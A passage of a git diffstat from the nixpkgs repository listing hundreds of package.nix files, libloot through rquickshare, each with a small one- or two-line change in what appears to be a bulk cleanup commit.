 pkgs/by-name/li/libloot/package.nix                  |  3 ---
 pkgs/by-name/li/librashader/package.nix              |  1 -
 pkgs/by-name/li/libsignal-ffi/package.nix            |  1 -
 pkgs/by-name/li/license-cli/package.nix              |  1 -
 pkgs/by-name/li/license-generator/package.nix        |  1 -
 pkgs/by-name/li/licensure/package.nix                |  1 -
 pkgs/by-name/li/lightdm-mobile-greeter/package.nix   |  1 -
 pkgs/by-name/li/lighthouse-steamvr/package.nix       |  1 -
 pkgs/by-name/li/lighthouse/package.nix               |  1 -
 pkgs/by-name/li/lightningcss/package.nix             |  1 -
 pkgs/by-name/li/limbo/package.nix                    |  1 -
 pkgs/by-name/li/lintspec/package.nix                 |  1 -
 pkgs/by-name/li/lipl/package.nix                     |  1 -
 pkgs/by-name/li/listenbrainz-mpd/package.nix         |  1 -
 pkgs/by-name/li/live-server/package.nix              |  1 -
 pkgs/by-name/ll/lla/package.nix                      |  1 -
 pkgs/by-name/ll/lldap/package.nix                    |  1 -
 pkgs/by-name/ll/llm-ls/package.nix                   |  2 +-
 pkgs/by-name/ll/lls/package.nix                      |  1 -
 pkgs/by-name/ln/lnx/package.nix                      |  1 -
 pkgs/by-name/lo/lockbook-desktop/package.nix         |  1 -
 pkgs/by-name/lo/lockbook/package.nix                 |  1 -
 pkgs/by-name/lo/loco/package.nix                     |  1 -
 pkgs/by-name/lo/lon/package.nix                      |  1 -
 pkgs/by-name/lo/lorri/package.nix                    |  1 -
 pkgs/by-name/lo/lovely-injector/package.nix          |  2 +-
 pkgs/by-name/lo/lowfi/package.nix                    |  1 -
 pkgs/by-name/lr/lrcget/package.nix                   |  1 -
 pkgs/by-name/ls/lscolors/package.nix                 |  1 -
 pkgs/by-name/ls/lsd/package.nix                      |  1 -
 pkgs/by-name/ls/lsp-ai/package.nix                   |  1 -
 pkgs/by-name/lu/lucky-commit/package.nix             |  1 -
 pkgs/by-name/lu/ludtwig/package.nix                  |  1 -
 pkgs/by-name/lu/ludusavi/package.nix                 |  1 -
 pkgs/by-name/lu/luminous-ttv/package.nix             |  1 -
 pkgs/by-name/lu/lunatic/package.nix                  |  1 -
 pkgs/by-name/lu/lune/package.nix                     |  1 -
 pkgs/by-name/lu/lurk/package.nix                     |  1 -
 pkgs/by-name/lu/lutgen/package.nix                   |  1 -
 pkgs/by-name/lu/lux-cli/package.nix                  |  2 +-
 pkgs/by-name/ly/lychee/package.nix                   |  1 -
 pkgs/by-name/ma/maa-cli/package.nix                  |  1 -
 pkgs/by-name/ma/macchina/package.nix                 |  1 -
 pkgs/by-name/ma/macmon/package.nix                   |  1 -
 pkgs/by-name/ma/macos-defaults/package.nix           |  1 -
 pkgs/by-name/ma/magic-wormhole-rs/package.nix        |  1 -
 pkgs/by-name/ma/mago/package.nix                     |  1 -
 pkgs/by-name/ma/majima/package.nix                   |  1 -
 pkgs/by-name/ma/maker-panel/package.nix              |  1 -
 pkgs/by-name/ma/makima/package.nix                   |  1 -
 pkgs/by-name/ma/managarr/package.nix                 |  1 -
 pkgs/by-name/ma/mandown/package.nix                  |  1 -
 pkgs/by-name/ma/manga-tui/package.nix                |  1 -
 pkgs/by-name/ma/mangayomi/package.nix                |  2 --
 pkgs/by-name/ma/manix/package.nix                    |  1 -
 pkgs/by-name/ma/markdown-oxide/package.nix           |  1 -
 pkgs/by-name/ma/markuplinkchecker/package.nix        |  1 -
 pkgs/by-name/ma/marmite/package.nix                  |  1 -
 pkgs/by-name/ma/martin/package.nix                   |  1 -
 pkgs/by-name/ma/mask/package.nix                     |  1 -
 pkgs/by-name/ma/masklint/package.nix                 |  1 -
 pkgs/by-name/ma/materialize/package.nix              |  1 -
 .../ma/matrix-authentication-service/package.nix     |  1 -
 pkgs/by-name/ma/matrix-commander-rs/package.nix      |  1 -
 pkgs/by-name/ma/matrix-conduit/package.nix           |  1 -
 pkgs/by-name/ma/matrix-continuwuity/package.nix      |  1 -
 pkgs/by-name/ma/matugen/package.nix                  |  1 -
 pkgs/by-name/ma/maturin/package.nix                  |  1 -
 pkgs/by-name/mc/mcfly-fzf/package.nix                |  1 -
 pkgs/by-name/mc/mcfly/package.nix                    |  1 -
 pkgs/by-name/mc/mchprs/package.nix                   |  1 -
 pkgs/by-name/mc/mcumgr-client/package.nix            |  1 -
 pkgs/by-name/md/md-tui/package.nix                   |  1 -
 pkgs/by-name/md/mdbook-admonish/package.nix          |  1 -
 pkgs/by-name/md/mdbook-alerts/package.nix            |  1 -
 pkgs/by-name/md/mdbook-cmdrun/package.nix            |  1 -
 pkgs/by-name/md/mdbook-d2/package.nix                |  1 -
 pkgs/by-name/md/mdbook-emojicodes/package.nix        |  1 -
 pkgs/by-name/md/mdbook-epub/package.nix              |  1 -
 pkgs/by-name/md/mdbook-footnote/package.nix          |  1 -
 pkgs/by-name/md/mdbook-graphviz/package.nix          |  1 -
 pkgs/by-name/md/mdbook-i18n-helpers/package.nix      |  1 -
 pkgs/by-name/md/mdbook-katex/package.nix             |  1 -
 .../by-name/md/mdbook-kroki-preprocessor/package.nix |  1 -
 pkgs/by-name/md/mdbook-linkcheck/package.nix         |  1 -
 pkgs/by-name/md/mdbook-man/package.nix               |  1 -
 pkgs/by-name/md/mdbook-mermaid/package.nix           |  1 -
 pkgs/by-name/md/mdbook-open-on-gh/package.nix        |  1 -
 pkgs/by-name/md/mdbook-pagetoc/package.nix           |  1 -
 pkgs/by-name/md/mdbook-pdf/package.nix               |  1 -
 pkgs/by-name/md/mdbook-plantuml/package.nix          |  1 -
 pkgs/by-name/md/mdbook-toc/package.nix               |  1 -
 pkgs/by-name/md/mdbook-variables/package.nix         |  1 -
 pkgs/by-name/md/mdbook-yml-header/package.nix        |  1 -
 pkgs/by-name/md/mdbook/package.nix                   |  1 -
 pkgs/by-name/md/mdctags/package.nix                  |  1 -
 pkgs/by-name/md/mdevctl/package.nix                  |  1 -
 pkgs/by-name/md/mdq/package.nix                      |  1 -
 pkgs/by-name/md/mdsf/package.nix                     |  1 -
 pkgs/by-name/md/mdsh/package.nix                     |  1 -
 pkgs/by-name/md/mdzk/package.nix                     |  1 -
 pkgs/by-name/me/meilisearch/package.nix              |  1 -
 pkgs/by-name/me/mekuteriya/package.nix               |  1 -
 pkgs/by-name/me/meli/package.nix                     |  1 -
 pkgs/by-name/me/melody/package.nix                   |  1 -
 pkgs/by-name/me/meme-bingo-web/package.nix           |  1 -
 pkgs/by-name/me/memtest_vulkan/package.nix           |  1 -
 pkgs/by-name/me/menyoki/package.nix                  |  1 -
 pkgs/by-name/me/meow/package.nix                     |  1 -
 pkgs/by-name/me/mergiraf/package.nix                 |  1 -
 pkgs/by-name/me/metadata/package.nix                 |  1 -
 pkgs/by-name/mh/mhost/package.nix                    |  1 -
 pkgs/by-name/mi/microbin/package.nix                 |  1 -
 pkgs/by-name/mi/microfetch/package.nix               |  1 -
 pkgs/by-name/mi/microserver/package.nix              |  1 -
 pkgs/by-name/mi/millet/package.nix                   |  1 -
 pkgs/by-name/mi/minesweep-rs/package.nix             |  1 -
 pkgs/by-name/mi/mini-calc/package.nix                |  1 -
 pkgs/by-name/mi/minidsp/package.nix                  |  1 -
 pkgs/by-name/mi/minijinja/package.nix                |  1 -
 pkgs/by-name/mi/miniserve/package.nix                |  1 -
 pkgs/by-name/mi/mise/package.nix                     |  1 -
 pkgs/by-name/mi/mistral-rs/package.nix               |  1 -
 pkgs/by-name/mi/mitm-cache/package.nix               |  1 -
 pkgs/by-name/mi/mitra/package.nix                    |  1 -
 pkgs/by-name/mi/mixxc/package.nix                    |  1 -
 pkgs/by-name/mm/mmtc/package.nix                     |  1 -
 pkgs/by-name/mm/mmtui/package.nix                    |  1 -
 pkgs/by-name/mo/modrinth-app-unwrapped/package.nix   |  1 -
 pkgs/by-name/mo/mollysocket/package.nix              |  1 -
 pkgs/by-name/mo/monocle/package.nix                  |  1 -
 pkgs/by-name/mo/monolith/package.nix                 |  1 -
 pkgs/by-name/mo/moon-phases/package.nix              |  1 -
 pkgs/by-name/mo/moonfire-nvr/package.nix             |  2 --
 pkgs/by-name/mo/moproxy/package.nix                  |  1 -
 pkgs/by-name/mo/morsel/package.nix                   |  1 -
 pkgs/by-name/mo/motoc/package.nix                    |  1 -
 pkgs/by-name/mo/mountpoint-s3/package.nix            |  1 -
 pkgs/by-name/mo/mouse-actions-gui/package.nix        |  1 -
 pkgs/by-name/mo/mouse-actions/package.nix            |  1 -
 pkgs/by-name/mo/movine/package.nix                   |  1 -
 pkgs/by-name/mo/moxide/package.nix                   |  1 -
 pkgs/by-name/mo/mozwire/package.nix                  |  1 -
 pkgs/by-name/mp/mpd-discord-rpc/package.nix          |  1 -
 pkgs/by-name/mp/mpris-notifier/package.nix           |  1 -
 pkgs/by-name/mp/mprocs/package.nix                   |  1 -
 pkgs/by-name/mp/mpv-subs-popout/package.nix          |  1 -
 pkgs/by-name/mq/mqttui/package.nix                   |  1 -
 pkgs/by-name/mu/mujmap/package.nix                   |  1 -
 pkgs/by-name/mu/mum/package.nix                      |  1 -
 pkgs/by-name/mu/mus/package.nix                      |  1 -
 pkgs/by-name/mu/muso/package.nix                     |  1 -
 pkgs/by-name/mu/muvm/package.nix                     |  1 -
 pkgs/by-name/my/mycelium/package.nix                 |  1 -
 pkgs/by-name/my/myxer/package.nix                    |  1 -
 pkgs/by-name/n2/n2/package.nix                       |  1 -
 pkgs/by-name/na/namaka/package.nix                   |  1 -
 pkgs/by-name/na/narrowlink/package.nix               |  1 -
 pkgs/by-name/na/natls/package.nix                    |  1 -
 pkgs/by-name/na/navi/package.nix                     |  1 -
 pkgs/by-name/nb/nbtscanner/package.nix               |  1 -
 pkgs/by-name/nc/ncgopher/package.nix                 |  1 -
 pkgs/by-name/nd/ndstrim/package.nix                  |  1 -
 pkgs/by-name/ne/nearcore/package.nix                 |  1 -
 pkgs/by-name/ne/neocmakelsp/package.nix              |  1 -
 pkgs/by-name/ne/neohtop/package.nix                  |  2 --
 pkgs/by-name/ne/neothesia/package.nix                |  1 -
 pkgs/by-name/ne/neovide/package.nix                  |  1 -
 pkgs/by-name/ne/neovim-gtk/package.nix               |  1 -
 pkgs/by-name/ne/nerdfix/package.nix                  |  1 -
 pkgs/by-name/ne/netavark/package.nix                 |  1 -
 pkgs/by-name/ne/netbox2netshot/package.nix           |  1 -
 pkgs/by-name/ne/nethoscope/package.nix               |  1 -
 pkgs/by-name/ne/netop/package.nix                    |  1 -
 pkgs/by-name/ne/netscanner/package.nix               |  1 -
 pkgs/by-name/ne/neverest/package.nix                 |  1 -
 pkgs/by-name/ne/newsboat/package.nix                 |  1 -
 pkgs/by-name/nf/nflz/package.nix                     |  1 -
 pkgs/by-name/ng/ngrrram/package.nix                  |  1 -
 pkgs/by-name/nh/nh/package.nix                       |  1 -
 pkgs/by-name/ni/nickel/package.nix                   |  1 -
 pkgs/by-name/ni/nightlight/package.nix               |  2 --
 pkgs/by-name/ni/nil/package.nix                      |  1 -
 pkgs/by-name/ni/niri/package.nix                     |  1 -
 pkgs/by-name/ni/nitrocli/package.nix                 |  1 -
 pkgs/by-name/ni/nix-btm/package.nix                  |  1 -
 pkgs/by-name/ni/nix-doc/package.nix                  |  1 -
 pkgs/by-name/ni/nix-du/package.nix                   |  1 -
 pkgs/by-name/ni/nix-forecast/package.nix             |  1 -
 pkgs/by-name/ni/nix-health/package.nix               |  1 -
 pkgs/by-name/ni/nix-init/package.nix                 |  2 --
 pkgs/by-name/ni/nix-inspect/package.nix              |  1 -
 pkgs/by-name/ni/nix-janitor/package.nix              |  1 -
 pkgs/by-name/ni/nix-ld/package.nix                   |  1 -
 pkgs/by-name/ni/nix-melt/package.nix                 |  1 -
 pkgs/by-name/ni/nix-query-tree-viewer/package.nix    |  1 -
 .../ni/nix-store-veritysetup-generator/package.nix   |  1 -
 pkgs/by-name/ni/nix-template/package.nix             |  1 -
 pkgs/by-name/ni/nix-weather/package.nix              |  1 -
 pkgs/by-name/ni/nix-web/package.nix                  |  2 +-
 pkgs/by-name/ni/nix-your-shell/package.nix           |  1 -
 pkgs/by-name/ni/nixci/package.nix                    |  1 -
 pkgs/by-name/ni/nixdoc/package.nix                   |  1 -
 pkgs/by-name/ni/nixel/package.nix                    |  1 -
 pkgs/by-name/ni/nixf-diagnose/package.nix            |  1 -
 pkgs/by-name/ni/nixpacks/package.nix                 |  1 -
 pkgs/by-name/ni/nixpkgs-fmt/package.nix              |  1 -
 pkgs/by-name/ni/nixpkgs-hammering/package.nix        |  2 +-
 pkgs/by-name/ni/nixpkgs-lint-community/package.nix   |  1 -
 pkgs/by-name/ni/nixpkgs-track/package.nix            |  1 -
 pkgs/by-name/ni/nixpkgs-vet/package.nix              |  1 -
 pkgs/by-name/ni/nixseparatedebuginfod/package.nix    |  1 -
 pkgs/by-name/ni/nixtract/package.nix                 |  1 -
 pkgs/by-name/nm/nm-file-secret-agent/package.nix     |  2 +-
 pkgs/by-name/no/noaa-apt/package.nix                 |  1 -
 pkgs/by-name/no/nofi/package.nix                     |  1 -
 pkgs/by-name/no/nomino/package.nix                   |  1 -
 pkgs/by-name/no/noseyparker/package.nix              |  1 -
 pkgs/by-name/no/nostr-rs-relay/package.nix           |  1 -
 pkgs/by-name/no/nostui/package.nix                   |  1 -
 pkgs/by-name/no/notmuch-mailmover/package.nix        |  1 -
 pkgs/by-name/no/novops/package.nix                   |  1 -
 pkgs/by-name/np/npins/package.nix                    |  1 -
 pkgs/by-name/np/nps/package.nix                      |  1 -
 pkgs/by-name/nr/nrr/package.nix                      |  1 -
 pkgs/by-name/ns/nsh/package.nix                      |  1 -
 pkgs/by-name/ns/nsncd/package.nix                    |  1 -
 pkgs/by-name/nt/ntpd-rs/package.nix                  |  1 -
 pkgs/by-name/nu/nufmt/package.nix                    |  1 -
 pkgs/by-name/nu/numbat/package.nix                   |  1 -
 pkgs/by-name/nu/nurl/package.nix                     |  1 -
 pkgs/by-name/nv/nvidia_oc/package.nix                |  1 -
 pkgs/by-name/nv/nvme-rs/package.nix                  |  1 -
 pkgs/by-name/nv/nvmetcfg/package.nix                 |  1 -
 pkgs/by-name/ny/nyaa/package.nix                     |  1 -
 pkgs/by-name/ny/nym/package.nix                      |  1 -
 pkgs/by-name/ob/oboete/package.nix                   |  1 -
 pkgs/by-name/ob/obs-cmd/package.nix                  |  1 -
 pkgs/by-name/ob/obs-do/package.nix                   |  1 -
 pkgs/by-name/ob/obsidian-export/package.nix          |  1 -
 pkgs/by-name/oc/ockam/package.nix                    |  1 -
 pkgs/by-name/oc/ocsp-server/package.nix              |  1 -
 pkgs/by-name/oc/octofetch/package.nix                |  1 -
 pkgs/by-name/oc/oculante/package.nix                 |  1 -
 pkgs/by-name/og/ograc/package.nix                    |  2 +-
 pkgs/by-name/oh/oha/package.nix                      |  1 -
 pkgs/by-name/ok/okolors/package.nix                  |  1 -
 pkgs/by-name/om/omekasy/package.nix                  |  1 -
 pkgs/by-name/om/omnix/package.nix                    |  1 -
 pkgs/by-name/on/onagre/package.nix                   |  1 -
 pkgs/by-name/on/onefetch/package.nix                 |  1 -
 pkgs/by-name/on/onetun/package.nix                   |  1 -
 pkgs/by-name/on/oniux/package.nix                    |  1 -
 pkgs/by-name/oo/oo7/package.nix                      |  1 -
 pkgs/by-name/op/open-scq30/package.nix               |  1 -
 pkgs/by-name/op/openapi-tui/package.nix              |  1 -
 pkgs/by-name/op/openobserve/package.nix              |  1 -
 pkgs/by-name/op/openpgp-ca/package.nix               |  1 -
 pkgs/by-name/op/openpgp-card-tools/package.nix       |  1 -
 pkgs/by-name/op/openscad-lsp/package.nix             |  1 -
 pkgs/by-name/op/openstack-rs/package.nix             |  1 -
 pkgs/by-name/op/openvmm/package.nix                  |  1 -
 pkgs/by-name/or/oranda/package.nix                   |  1 -
 pkgs/by-name/or/ord/package.nix                      |  1 -
 pkgs/by-name/or/orogene/package.nix                  |  1 -
 pkgs/by-name/or/orz/package.nix                      |  1 -
 pkgs/by-name/os/oscavmgr/package.nix                 |  1 -
 pkgs/by-name/ot/otadump/package.nix                  |  1 -
 pkgs/by-name/ot/otree/package.nix                    |  1 -
 pkgs/by-name/ou/ouch/package.nix                     |  1 -
 pkgs/by-name/ou/outfly/package.nix                   |  1 -
 pkgs/by-name/ov/overlayed/package.nix                |  1 -
 pkgs/by-name/ov/overskride/package.nix               |  1 -
 pkgs/by-name/ow/owmods-cli/package.nix               |  1 -
 pkgs/by-name/ow/owmods-gui/package.nix               |  1 -
 pkgs/by-name/ow/owofetch/package.nix                 |  1 -
 pkgs/by-name/ox/ox/package.nix                       |  1 -
 pkgs/by-name/ox/oxide-rs/package.nix                 |  1 -
 pkgs/by-name/ox/oxigraph/package.nix                 |  1 -
 pkgs/by-name/ox/oxipng/package.nix                   |  1 -
 pkgs/by-name/ox/oxker/package.nix                    |  1 -
 pkgs/by-name/ox/oxlint/package.nix                   |  1 -
 pkgs/by-name/pa/pace/package.nix                     |  1 -
 pkgs/by-name/pa/package-version-server/package.nix   |  1 -
 pkgs/by-name/pa/packetry/package.nix                 |  1 -
 pkgs/by-name/pa/pactorio/package.nix                 |  1 -
 pkgs/by-name/pa/page/package.nix                     |  1 -
 pkgs/by-name/pa/paging-calculator/package.nix        |  1 -
 pkgs/by-name/pa/pam_rssh/package.nix                 |  1 -
 pkgs/by-name/pa/panamax/package.nix                  |  1 -
 pkgs/by-name/pa/pandoc-katex/package.nix             |  1 -
 pkgs/by-name/pa/paper-age/package.nix                |  1 -
 pkgs/by-name/pa/parallel-disk-usage/package.nix      |  1 -
 pkgs/by-name/pa/parinfer-rust-emacs/package.nix      |  1 -
 pkgs/by-name/pa/parinfer-rust/package.nix            |  1 -
 pkgs/by-name/pa/parrot/package.nix                   |  1 -
 pkgs/by-name/pa/parseable/package.nix                |  1 -
 pkgs/by-name/pa/paru/package.nix                     |  1 -
 pkgs/by-name/pa/passepartui/package.nix              |  1 -
 pkgs/by-name/pa/passerine/package.nix                |  1 -
 pkgs/by-name/pa/pastel/package.nix                   |  1 -
 pkgs/by-name/pa/patchy/package.nix                   |  2 +-
 pkgs/by-name/pa/patsh/package.nix                    |  1 -
 pkgs/by-name/pa/pay-respects/package.nix             |  1 -
 pkgs/by-name/pa/pazi/package.nix                     |  1 -
 pkgs/by-name/pb/pbpctrl/package.nix                  |  1 -
 pkgs/by-name/pe/peep/package.nix                     |  1 -
 pkgs/by-name/pe/peertube-viewer/package.nix          |  1 -
 pkgs/by-name/pe/perseus-cli/package.nix              |  1 -
 pkgs/by-name/pe/pest-ide-tools/package.nix           |  2 +-
 pkgs/by-name/pf/pfetch-rs/package.nix                |  1 -
 pkgs/by-name/pg/pgcat/package.nix                    |  1 -
 pkgs/by-name/ph/phetch/package.nix                   |  1 -
 pkgs/by-name/ph/phraze/package.nix                   |  1 -
 pkgs/by-name/pi/piano-rs/package.nix                 |  1 -
 pkgs/by-name/pi/pict-rs/package.nix                  |  1 -
 pkgs/by-name/pi/pid1/package.nix                     |  1 -
 pkgs/by-name/pi/piday25/package.nix                  |  1 -
 pkgs/by-name/pi/pijul/package.nix                    |  1 -
 pkgs/by-name/pi/pik/package.nix                      |  1 -
 pkgs/by-name/pi/pimsync/package.nix                  |  1 -
 pkgs/by-name/pi/pineflash/package.nix                |  1 -
 pkgs/by-name/pi/pinyin-tool/package.nix              |  1 -
 pkgs/by-name/pi/pipe-rename/package.nix              |  1 -
 pkgs/by-name/pi/pipes-rs/package.nix                 |  1 -
 pkgs/by-name/pi/piping-server-rust/package.nix       |  1 -
 pkgs/by-name/pi/pipr/package.nix                     |  1 -
 pkgs/by-name/pi/pixi-pack/package.nix                |  1 -
 pkgs/by-name/pi/pixi/package.nix                     |  1 -
 pkgs/by-name/pi/pizarra/package.nix                  |  1 -
 pkgs/by-name/pi/pizauth/package.nix                  |  1 -
 pkgs/by-name/pk/pkarr/package.nix                    |  1 -
 pkgs/by-name/pl/planus/package.nix                   |  1 -
 pkgs/by-name/pl/please/package.nix                   |  1 -
 pkgs/by-name/pl/pls/package.nix                      |  1 -
 pkgs/by-name/pn/pngquant/package.nix                 |  1 -
 pkgs/by-name/pn/pnpm-shell-completion/package.nix    |  1 -
 pkgs/by-name/po/podlet/package.nix                   |  1 -
 pkgs/by-name/po/pokeget-rs/package.nix               |  1 -
 pkgs/by-name/po/polarity/package.nix                 |  1 -
 pkgs/by-name/po/polkadot/package.nix                 |  1 -
 pkgs/by-name/po/polylux2pdfpc/package.nix            |  1 -
 pkgs/by-name/po/pomodoro/package.nix                 |  1 -
 pkgs/by-name/po/pomsky/package.nix                   |  1 -
 pkgs/by-name/po/pop-launcher/package.nix             |  1 -
 pkgs/by-name/po/porsmo/package.nix                   |  1 -
 pkgs/by-name/po/portmod/package.nix                  |  1 -
 pkgs/by-name/po/postgres-lsp/package.nix             |  1 -
 pkgs/by-name/po/pouf/package.nix                     |  1 -
 pkgs/by-name/po/powerstation/package.nix             |  1 -
 pkgs/by-name/pq/pqrs/package.nix                     |  1 -
 pkgs/by-name/pr/pr-tracker/package.nix               |  1 -
 pkgs/by-name/pr/present-cli/package.nix              |  1 -
 pkgs/by-name/pr/presenterm/package.nix               |  1 -
 pkgs/by-name/pr/preserves-tools/package.nix          |  1 -
 pkgs/by-name/pr/prettypst/package.nix                |  1 -
 pkgs/by-name/pr/prisma-engines/package.nix           |  1 -
 pkgs/by-name/pr/probe-rs-tools/package.nix           |  1 -
 pkgs/by-name/pr/process-viewer/package.nix           |  1 -
 pkgs/by-name/pr/procs/package.nix                    |  1 -
 pkgs/by-name/pr/projectable/package.nix              |  1 -
 pkgs/by-name/pr/proksi/package.nix                   |  1 -
 pkgs/by-name/pr/proto/package.nix                    |  1 -
 pkgs/by-name/pr/protoc-gen-prost-crate/package.nix   |  1 -
 pkgs/by-name/pr/protoc-gen-prost-serde/package.nix   |  1 -
 pkgs/by-name/pr/protoc-gen-prost/package.nix         |  1 -
 pkgs/by-name/pr/protoc-gen-rust-grpc/package.nix     |  1 -
 pkgs/by-name/pr/protoc-gen-rust/package.nix          |  1 -
 pkgs/by-name/pr/protoc-gen-tonic/package.nix         |  1 -
 pkgs/by-name/pr/protols/package.nix                  |  1 -
 pkgs/by-name/pr/proton-caller/package.nix            |  1 -
 pkgs/by-name/pr/protox/package.nix                   |  1 -
 pkgs/by-name/pr/proximity-sort/package.nix           |  1 -
 pkgs/by-name/pr/prqlc/package.nix                    |  1 -
 pkgs/by-name/pr/prr/package.nix                      |  1 -
 pkgs/by-name/pr/prs/package.nix                      |  1 -
 pkgs/by-name/ps/psst/package.nix                     |  1 -
 pkgs/by-name/ps/psw/package.nix                      |  1 -
 pkgs/by-name/pt/ptags/package.nix                    |  1 -
 pkgs/by-name/pu/pueue/package.nix                    |  1 -
 pkgs/by-name/pu/pulldown-cmark/package.nix           |  1 -
 pkgs/by-name/pw/pw-viz/package.nix                   |  1 -
 pkgs/by-name/pw/pw-volume/package.nix                |  1 -
 pkgs/by-name/pw/pwalarmctl/package.nix               |  1 -
 pkgs/by-name/pw/pwalarmd/package.nix                 |  1 -
 pkgs/by-name/pw/pwninit/package.nix                  |  1 -
 pkgs/by-name/py/py-spy/package.nix                   |  1 -
 pkgs/by-name/py/pylyzer/package.nix                  |  1 -
 pkgs/by-name/py/python-launcher/package.nix          |  1 -
 pkgs/by-name/qd/qdrant/package.nix                   |  2 --
 pkgs/by-name/qi/qir-runner/package.nix               |  1 -
 pkgs/by-name/qm/qmk_hid/package.nix                  |  1 -
 pkgs/by-name/qr/qrrs/package.nix                     |  1 -
 pkgs/by-name/qr/qrscan/package.nix                   |  1 -
 pkgs/by-name/qr/qrtool/package.nix                   |  1 -
 pkgs/by-name/qs/qsv/package.nix                      |  1 -
 pkgs/by-name/qu/quantframe/package.nix               |  1 -
 pkgs/by-name/qu/quick-webapps/package.nix            |  1 -
 pkgs/by-name/qu/quill/package.nix                    |  1 -
 pkgs/by-name/qw/qwertone/package.nix                 |  1 -
 pkgs/by-name/r0/r0vm/package.nix                     |  1 -
 pkgs/by-name/ra/ra-multiplex/package.nix             |  1 -
 pkgs/by-name/ra/rabbitmqadmin-ng/package.nix         |  1 -
 pkgs/by-name/ra/radicle-httpd/package.nix            |  2 +-
 pkgs/by-name/ra/radicle-node/package.nix             |  2 +-
 pkgs/by-name/ra/radio-cli/package.nix                |  1 -
 pkgs/by-name/ra/raffi/package.nix                    |  1 -
 pkgs/by-name/ra/rage/package.nix                     |  1 -
 pkgs/by-name/ra/ragenix/package.nix                  |  1 -
 pkgs/by-name/ra/rails-new/package.nix                |  2 --
 pkgs/by-name/ra/railway/package.nix                  |  1 -
 pkgs/by-name/ra/rainfrog/package.nix                 |  1 -
 pkgs/by-name/ra/rana/package.nix                     |  1 -
 pkgs/by-name/ra/rates/package.nix                    |  1 -
 pkgs/by-name/ra/rathole/package.nix                  |  1 -
 pkgs/by-name/ra/ratman/package.nix                   |  1 -
 pkgs/by-name/ra/rattler-build/package.nix            |  1 -
 pkgs/by-name/ra/rav1e/package.nix                    |  1 -
 pkgs/by-name/ra/ravedude/package.nix                 |  1 -
 pkgs/by-name/rb/rblake2sum/package.nix               |  1 -
 pkgs/by-name/rb/rblake3sum/package.nix               |  1 -
 pkgs/by-name/rb/rbspy/package.nix                    |  1 -
 pkgs/by-name/rb/rbw/package.nix                      |  1 -
 pkgs/by-name/rc/rclone-ui/package.nix                |  2 +-
 pkgs/by-name/rc/rcodesign/package.nix                |  1 -
 pkgs/by-name/rc/rconc/package.nix                    |  1 -
 pkgs/by-name/rc/rcp/package.nix                      |  1 -
 pkgs/by-name/rd/rdedup/package.nix                   |  1 -
 pkgs/by-name/re/readest/package.nix                  |  2 --
 pkgs/by-name/re/realm/package.nix                    |  1 -
 pkgs/by-name/re/reason-shell/package.nix             |  1 -
 pkgs/by-name/re/rebels-in-the-sky/package.nix        |  2 +-
 pkgs/by-name/re/rebuilderd/package.nix               |  1 -
 pkgs/by-name/re/reddsaver/package.nix                |  1 -
 pkgs/by-name/re/redlib/package.nix                   |  1 -
 pkgs/by-name/re/refinery-cli/package.nix             |  1 -
 pkgs/by-name/re/regenkfs/package.nix                 |  1 -
 pkgs/by-name/re/regex-cli/package.nix                |  1 -
 pkgs/by-name/re/reindeer/package.nix                 |  1 -
 pkgs/by-name/re/release-plz/package.nix              |  1 -
 pkgs/by-name/re/remkrom/package.nix                  |  1 -
 pkgs/by-name/re/remodel/package.nix                  |  1 -
 pkgs/by-name/re/ren-find/package.nix                 |  1 -
 pkgs/by-name/re/rep-grep/package.nix                 |  1 -
 pkgs/by-name/re/repak/package.nix                    |  1 -
 pkgs/by-name/re/repgrep/package.nix                  |  1 -
 pkgs/by-name/re/rerun/package.nix                    |  1 -
 pkgs/by-name/re/rescrobbled/package.nix              |  1 -
 pkgs/by-name/re/reshape/package.nix                  |  1 -
 pkgs/by-name/re/restate/package.nix                  |  1 -
 pkgs/by-name/re/restic-browser/package.nix           |  1 -
 pkgs/by-name/re/restic-integrity/package.nix         |  1 -
 pkgs/by-name/re/restls/package.nix                   |  1 -
 pkgs/by-name/re/resvg/package.nix                    |  1 -
 pkgs/by-name/re/revpfw3/package.nix                  |  1 -
 pkgs/by-name/re/rewatch/package.nix                  |  1 -
 pkgs/by-name/rh/rhack/package.nix                    |  1 -
 pkgs/by-name/rh/rhai-doc/package.nix                 |  1 -
 pkgs/by-name/ri/riff/package.nix                     |  1 -
 pkgs/by-name/ri/riffdiff/package.nix                 |  1 -
 pkgs/by-name/ri/rime-ls/package.nix                  |  1 -
 pkgs/by-name/ri/ringfairy/package.nix                |  1 -
 pkgs/by-name/ri/rink/package.nix                     |  1 -
 pkgs/by-name/ri/rio/package.nix                      |  1 -
 pkgs/by-name/ri/rip2/package.nix                     |  1 -
 pkgs/by-name/ri/ripasso-cursive/package.nix          |  1 -
 pkgs/by-name/ri/ripdrag/package.nix                  |  1 -
 pkgs/by-name/ri/ripgrep-all/package.nix              |  1 -
 pkgs/by-name/ri/ripgrep/package.nix                  |  1 -
 pkgs/by-name/ri/rippkgs/package.nix                  |  1 -
 pkgs/by-name/ri/ripsecrets/package.nix               |  1 -
 pkgs/by-name/ri/ripunzip/package.nix                 |  1 -
 pkgs/by-name/ri/ristate/package.nix                  |  1 -
 pkgs/by-name/ri/river-bsp-layout/package.nix         |  1 -
 pkgs/by-name/ri/river-filtile/package.nix            |  1 -
 pkgs/by-name/ri/river-luatile/package.nix            |  1 -
 pkgs/by-name/rk/rkvm/package.nix                     |  1 -
 pkgs/by-name/rl/rlaunch/package.nix                  |  1 -
 pkgs/by-name/rl/rlci/package.nix                     |  1 -
 pkgs/by-name/rm/rm-improved/package.nix              |  1 -
 pkgs/by-name/rm/rmenu/package.nix                    |  1 -
 pkgs/by-name/rm/rmpc/package.nix                     |  1 -
 pkgs/by-name/rn/rnr/package.nix                      |  1 -
 pkgs/by-name/ro/rofi-obsidian/package.nix            |  1 -
 pkgs/by-name/ro/rogcat/package.nix                   |  1 -
 pkgs/by-name/ro/rojo/package.nix                     |  1 -
 pkgs/by-name/ro/roogle/package.nix                   |  1 -
 pkgs/by-name/ro/roon-tui/package.nix                 |  1 -
 pkgs/by-name/ro/rops/package.nix                     |  1 -
 pkgs/by-name/ro/rot8/package.nix                     |  1 -
 pkgs/by-name/ro/rotonda/package.nix                  |  1 -
 pkgs/by-name/ro/router/package.nix                   |  1 -
 pkgs/by-name/ro/routinator/package.nix               |  1 -
 pkgs/by-name/rp/rpg-cli/package.nix                  |  1 -
 pkgs/by-name/rp/rpm-sequoia/package.nix              |  1 -
 pkgs/by-name/rq/rq/package.nix                       |  1 -
 pkgs/by-name/rq/rqbit/package.nix                    |  1 -
 pkgs/by-name/rq/rquickshare/package.nix              |  1 -
